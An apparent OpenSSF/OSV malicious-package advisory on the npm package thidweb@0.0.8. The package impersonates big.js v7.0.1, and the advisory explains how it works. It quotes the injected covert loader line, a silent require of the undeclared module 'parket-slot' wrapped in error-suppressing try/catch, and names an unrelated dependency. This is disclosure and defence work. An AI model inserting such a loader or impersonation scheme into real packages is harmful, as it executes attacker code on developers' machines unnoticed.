OpenSSF/OSV advisory MAL-2026-6343 confirms this npm version as malicious. Package is published as `thidweb` but its README, source comments, repo URL, and author metadata all identify it as big.js v7.0.1 by Mike McLaughlin (README.md line 1 `# big.js`; big.js header `big.js v7.0.1`; package.json repository url `https://github.com/MikeMcl/big.js.git`). The source is a verbatim copy of upstream big.js with a covert loader injected mid-file at big.js:605-609: `try { const doc =...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in thidweb (npm)
Details
Package is published as `thidweb` but its README, source comments, repo URL, and author metadata all identify it as big.js v7.0.1 by Mike McLaughlin (README.md line 1 `# big.js`; big.js header `big.js v7.0.1`; package.json repository url `https://github.com/MikeMcl/big.js.git`). The source is a verbatim copy of upstream big.js with a covert loader injected mid-file at big.js:605-609: `try { const doc = require("parket-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. The same block is present in big.mjs. `parket-slot` is not declared in `package.json` dependencies; the only declared dependency is `log-taker@^0.0.9`, which upstream big.js does not require (upstream is dependency-free). Any developer who installs `thidweb` (mistaking it for big.js) and imports it executes whatever code `parket-slot` ships, with errors silently swallowed. The combination of impersonation, undeclared runtime require, error-suppressing try/catch, and an unrelated declared dependency is a multi-stage installer-side code-execution attack.
Decision reason
OpenSSF Malicious Packages via OSV confirms thidweb@0.0.8 as malicious (MAL-2026-6343): Malicious code in thidweb (npm)